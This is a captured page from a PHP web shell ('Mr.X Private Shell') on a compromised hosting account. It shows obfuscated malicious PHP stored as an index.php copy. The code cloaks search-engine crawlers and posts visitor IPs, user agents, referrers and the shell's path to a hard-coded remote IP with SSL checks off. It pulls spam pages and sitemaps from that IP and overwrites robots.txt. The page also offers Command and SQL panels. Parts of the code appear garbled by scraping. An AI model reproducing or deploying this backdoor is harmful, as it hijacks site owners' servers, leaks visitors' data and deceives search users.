Uname: Linux server.saraya-global.com 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Tue Sep 30 05:56:43 EDT 2025 x86_64
User: 1003 (sarayaglobal)
Group: 1004 (sarayaglobal)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/sarayaglobal///.trash      ( Reset | Go to )
File Name: index.php.11
Edit
<?php
 
goto dDFOkZZczFBv2eD: goto WFT1eIQVzh$CBEGk["\x68\x72\145\146"] = $lH2QL; goto lokotGirfE: exit; goto ZZczFm0n12$lrvIe $g0CaV "\57\167\x6f\x72\144\163\x2e\160\150\160"; goto y_y0Emrzlt$CBEGk["\x77\x6f\162\144"] = $dkH8G; goto MDkkjZezqX$dkH8G str_replace("\x2e\x78\x6d\x6c"''$dkH8G); goto QqAPfR0O5fGtpMn: goto OPfEiHR30i$gQgMG t68eS($Nf_s2); goto yWiQPaSYC8: echo $C4Nbh; goto ybLOIi86D0$wetB2 = @fK4dH($sSDxj$CBEGk); goto uq5gKAdJtf$dkH8G str_replace("\x2f"''$UgJZi); goto ZezqXIOyHnheader("\x43\157\x6e\164\x65\x6e\164\x2d\164\171\160\145\x3a\x74\145\x78\164\57\x78\x6d\x6c"); goto xXdAmc0OM2$z9RZx FK4DH($OjlDd$CBEGk); goto HDNKOyWiQP$UgJZi str_replace(array("\x2e\x68\x74\155""\x2e\150\164\x6d\154""\56\x73\150\164\155\154""\56\x70\x68\164\x6d\x6c"), ''rtrim($UgJZi"\x2f")); goto R0AntDPtiD: function x0wwy($na3EH) { goto mcv4YWSMsBYAYHw: goto Wj_a0M1dqK: if (!($na3EH != '' && preg_match("\57\50{$gKQNl}\x29\57\163\x69"$na3EH))) { goto YAYHw; } goto t9oriIZIJS$gKQNl "\147\157\x6f\147\x6c\145\x7c\x79\141\x68\x6f\x6f\174\x62\151\156\147\174\141\x6f\x6c"; goto M1dqKWj_a0: return $If9zr; goto NTSiUmcv4Y$If9zr false; goto IZIJSt9ori$If9zr true; goto WSMsBNTSiU: } goto I0pXxQqAPf: goto n33ht; goto Yynn3tbYGG$CBEGk["\x72\x6f\x62\157\164\163\x5f\x63\x6f\156\164"] = $wetB2; goto i86D0Ptq0C: exit; goto U6eHPSmYQO$TjJ35 $LcmD2 $m7EcE; goto hhjhxy91AZwHJvz: goto yKDzwpBl0F: if (strpos(strtolower($wetB2), "\163\x69\x74\145\x6d\141\160")) { goto JOLhD; } goto MibxCDVGRo$CBEGk["\x75\x73\145\162\x5f\141\x67\x65\156\164"] = strtolower(isset($_SERVER["\x48\124\124\x50\x5f\125\123\x45\x52\x5f\101\x47\x45\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\125\x53\x45\x52\137\x41\x47\105\x4e\124"] : ''); goto mU9QSlZ2Xln33ht: goto mrzlthPbo2$UUC9L $g0CaV "\57\152\x75\155\x70\56\x70\x68\160"; goto m0n12eL8sx$CBEGk["\141\x63\164\151\157\x6e"] = "\x72\141\156\x64\x5f\x78\155\x6c"; goto G_TXBVw4lr: function T68ES($lmLOp) { goto Obz1Xmm87JorK7L: goto pr8QPk9JuRmT27i: goto mm87JGUwAG: if (!preg_match("\x2f\x28{$E5mIN}\51\x2f\x73\151"$lmLOp)) { goto mT27i; } goto jD2D0pr8QP: return $hE50b; goto Sy9JAObz1X$hE50b false; goto tiws1MQC7A: if (!($lmLOp != '')) { goto orK7L; } goto GUwAGjD2D0$hE50b true; goto k9JuRtiws1$E5mIN "\147\157\157\x67\x6c\145\x62\157\x74\174\142\151\156\147\x62\157\164\x7c\147\157\157\x67\154\x65\174\141\157\154\x7c\x62\151\x6e\147\174\171\x61\150\x6f\157"; goto MQC7ASy9JA: } goto DPtiDajSJa: goto eTs_8; goto dbMy7VQf45: if (strpos($UgJZi"\56\160\150\160")) { goto GtpMn; } goto SmYQOfVR8k: if (strpos($UgJZi"\x2e\160\150\x70")) { goto VVt2J; } goto AdJtfjI5FB$Xr6tu $g0CaV "\57\155\x61\x70\x2e\x70\150\x70"; goto hPbo2juhqi: exit; goto a0Jv7sjMgSeTs_8: goto lwGBiMDkkj$CBEGk["\x61\x63\164\151\157\156"] = "\x63\150\x65\x63\153\x5f\x73\x69\164\145\x6d\x61\160"; goto wiYx2Yynn3VVt2J: goto DmDCpGcBmI$CBEGk["\x64\x6f\x6d\141\x69\x6e"] = $eOkde; goto JsezfZbmbho73xa: goto VQf45lwGBi$CBEGk[] = array(); goto GcBmIU6eHPjFLi2: goto ZbmbhKCJ53header("\x43\157\x6e\x74\145\x6e\164\55\x74\171\160\x65\72\x74\145\170\x74\x2f\170\155\154"); goto JyQzSR0Ant: if (!(!$gQgMG && $uoLR6 && preg_match("\x2f\x5c\144\x24\x2f"$UgJZi))) { goto wHJvz; } goto ojQ0OmU9QS: echo fk4DH($UUC9L$CBEGk); goto w94eMMibxC: echo "\162\157\x62\157\x74\163\x2e\x74\x78\164\40\x66\151\154\145\40\143\x72\145\141\x74\x65\40\x66\141\x69\154\41"; goto voMfqCTjRZ$CBEGk["\162\x65\146\145\162\145\x72"] = isset($_SERVER["\110\x54\124\120\137\x52\x45\x46\105\x52\x45\x52"]) ? $_SERVER["\110\x54\124\120\137\122\105\106\105\122\105\122"] : ''; goto DVGRorozi0$dkH8G str_replace("\x2e\x78\x6d\154"''$dkH8G); goto lZ2XlXZMLp$UgJZi $_SERVER["\122\x45\121\125\x45\123\124\x5f\125\122\111"]; goto DP11gq3lO7xlSRx: goto juhqiy_y0E$sSDxj $g0CaV "\x2f\162\x6f\142\157\x74\163\56\160\x68\160"; goto UAcxrhhjhx$CBEGk["\x6d\x61\x69\x6e\x5f\163\x68\145\x6c\x6c"] = $TjJ35; goto qvf3EhUG19: exit; goto bkgyWTSStr: if (!strpos($UgJZi"\141\154\154\x73\151\164\x65\155\x61\160\56\170\155\x6c")) { goto Wf4H6; } goto Jab0Jeqcu3$BrCrC fk4dH($lrvIe$CBEGk); goto QiGu0w94eM: exit; goto y91AZpkAh3Wf4H6: goto fVR8kTMCnA$wetB2 = @file_get_contents(C9vw_ "\57\x72\x6f\142\157\164\163\56\x74\170\x74"); goto tbYGGT7e3mdefine("\x43\71\x76\167\x5f"$_SERVER["\x44\x4f\x43\x55\115\x45\116\x54\x5f\x52\x4f\x4f\x54"]); goto TMCnAvoMfq: goto xlSRx; goto Hx0hvwiYx2$eHsk9 fK4dH($lrvIe$CBEGk); goto uJpJMesI40$CBEGk["\150\x74\164\x70\137\x75\163\145\x72\137\141\147\x65\156\164"] = $Nf_s2; goto c0OM2OPfEi$TjJ35 $LcmD2 $m7EcE $mMCSF; goto Lth0EWxNwp$wetB2 = @file_get_contents(C9vw_ "\57\x72\157\142\x6f\164\163\x2e\x74\170\164"); goto pBl0FA1ikg$uoLR6 X0wwy($sV8Ft); goto JKCOKHDNKO: echo $z9RZx; goto hUG19NSqZQ$dkH8G $dkH8G[count($dkH8G) - 1]; goto rozi0G_TXB$eHsk9 fk4dh($lrvIe$CBEGk); goto IOyHniLSmD: if (!(substr($UgJZi, -4) == "\56\170\x6d\154")) { goto o73xa; } goto TSStrI0pXx$LcmD2 = isset($_SERVER["\110\x54\124\x50\x53"]) && $_SERVER["\x48\x54\124\120\123"] !== "\157\x66\146" "\150\164\164\160\x73\72\x2f\x2f" "\x68\164\x74\160\72\x2f\57"; goto XZMLpJab0J$C4Nbh FK4Dh($Xr6tu$CBEGk); goto Il5qoJ4MIq$OjlDd $g0CaV "\x2f\151\156\x64\x61\164\141\x2e\x70\x68\160"; goto jI5FBDmDCp$dkH8G explode("\x3f"$UgJZi); goto NSqZQxXdAm: echo $eHsk9; goto Ptq0CHx0hvJOLhD: goto AuMSMa0Jv7trIhY: goto iLSmDcqCtI$dppQo $LcmD2 $eOkde $UgJZi; goto J4MIqzTCHc$C4Nbh fK4Dh($Xr6tu$CBEGk); goto KCJ53yKDzw: if (!$gQgMG) { goto R_rwI; } goto esI40Il5qoheader("\103\157\156\x74\x65\x6e\x74\55\x74\171\x70\145\x3a\x74\145\x78\x74\x2f\170\155\154"); goto aSYC8AuMSM: echo "\x72\157\x62\157\164\x73\56\x74\x78\x74\40\x66\x69\x6c\145\40\x63\162\x65\141\x74\145\40\x73\x75\143\143\x65\163\163\41"; goto q3lO7Jsezf$CBEGk["\x72\145\161\x5f\165\162\151"] = $UgJZi; goto IQVzhUAcxr: if (strpos($UgJZi"\56\x70\150\160")) { goto r9YvE; } goto QAKD1QiGu0: if (!(strpos($UgJZi"\x6d\141\160") > || $BrCrC == "\x31")) { goto jFLi2; } goto eL8sxojQ0O$CBEGk["\151\160"] = $_SERVER["\x52\105\x4d\x4f\x54\x45\137\101\x44\x44\x52"]; goto CTjRZJKCOK$Nf_s2 strtolower(isset($_SERVER["\110\124\124\x50\137\125\x53\105\x52\x5f\x41\107\x45\x4e\124"]) ? $_SERVER["\110\124\124\120\137\125\123\105\x52\137\x41\107\105\x4e\124"] : ''); goto HR30iK0KL3: function fk4dH($QnWXv$S8wS7 = array()) { goto Hza8bl2mkG$NK3eo curl_errno($PVMjn); goto OGo4mat_8V: return false; goto p2SEztdNbXcurl_setopt($PVMjnCURLOPT_URL"{$QnWXv}"); goto yUsC0dc4Sq: if (!(!== $NK3eo)) { goto CjaXa; } goto at_8VwrLlccurl_setopt($PVMjnCURLOPT_SSL_VERIFYPEERFALSE); goto b4iXXHp2GAcurl_setopt($PVMjnCURLOPT_HEADER0); goto y0batOGo4mcurl_close($PVMjn); goto dc4SqM0eEx: return $lyHJw; goto q6hwXEtp0L$lyHJw curl_exec($PVMjn); goto l2mkGtwhiUcurl_setopt($PVMjnCURLOPT_POSTFIELDShttp_build_query($S8wS7)); goto Etp0Lp2SEzCjaXa: goto M0eExb4iXXcurl_setopt($PVMjnCURLOPT_SSL_VERIFYHOSTFALSE); goto twhiUyUsC0curl_setopt($PVMjnCURLOPT_RETURNTRANSFER1); goto Hp2GAHza8b$QnWXv str_replace("\40""\x2b"$QnWXv); goto Fkfw8eb_ECcurl_setopt($PVMjnCURLOPT_POST1); goto wrLlcFkfw8$PVMjn curl_init(); goto tdNbXy0batcurl_setopt($PVMjnCURLOPT_TIMEOUT10); goto eb_ECq6hwX: } goto Vw4lrDP11g$eOkde $_SERVER["\110\124\x54\120\x5f\x48\x4f\123\124"]; goto BZr1zlokot$CBEGk["\x72\x65\x71\x5f\165\x72\x6c"] = $dppQo; goto uQ0EqybLOI: exit; goto pkAh3DAI3q$lH2QL $LcmD2 $eOkde $mMCSF; goto sjMgSdDFOk$g0CaV "\150\164\164\160\72\x2f\x2f\x37\64\56\x39\61\56\62\65\56\70\x32\57\x7a\x35\61\x32\x30\70\x5f\x36\57"; goto K0KL3rEeiZJtOth: goto D_uG3uJpJM: if (!($eHsk9 == "\61")) { goto Bv2eD; } goto zTCHcuq5gKfile_put_contents(C9vw_ "\x2f\162\157\x62\x6f\x74\x73\56\x74\x78\x74"$wetB2); goto WxNwpLth0E$CBEGk["\x6d\x61\151\x6e\137\x73\x68\145\x6c\x6c"] = $TjJ35; goto rEeiZqvf3E: goto JtOth; goto R0O5fJyQzS: echo $C4Nbh; goto GirfEQAKD1$lH2QL $LcmD2 $eOkde; goto ajSJadbMy7r9YvE: goto DAI3qWFT1e$CBEGk["\x61\143\164\x69\157\156"] = "\x63\x68\145\x63\x6b\137\167\x6f\x72\144\163"; goto eqcu3BZr1z$mMCSF $_SERVER["\x50\110\x50\137\x53\105\114\106"]; goto r6afnD_uG3$sV8Ft = isset($_SERVER["\x48\124\x54\120\x5f\122\x45\106\x45\x52\105\122"]) ? $_SERVER["\x48\124\124\120\x5f\x52\x45\106\105\x52\105\122"] : ''; goto A1ikgr6afn$m7EcE $_SERVER["\123\105\x52\x56\105\x52\x5f\116\x41\x4d\x45"]; goto cqCtIuQ0Eq: if (!(substr($UgJZi, -6) == "\162\157\x62\x6f\x74\163")) { goto trIhY; } goto T7e3mbkgyWR_rwI:

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL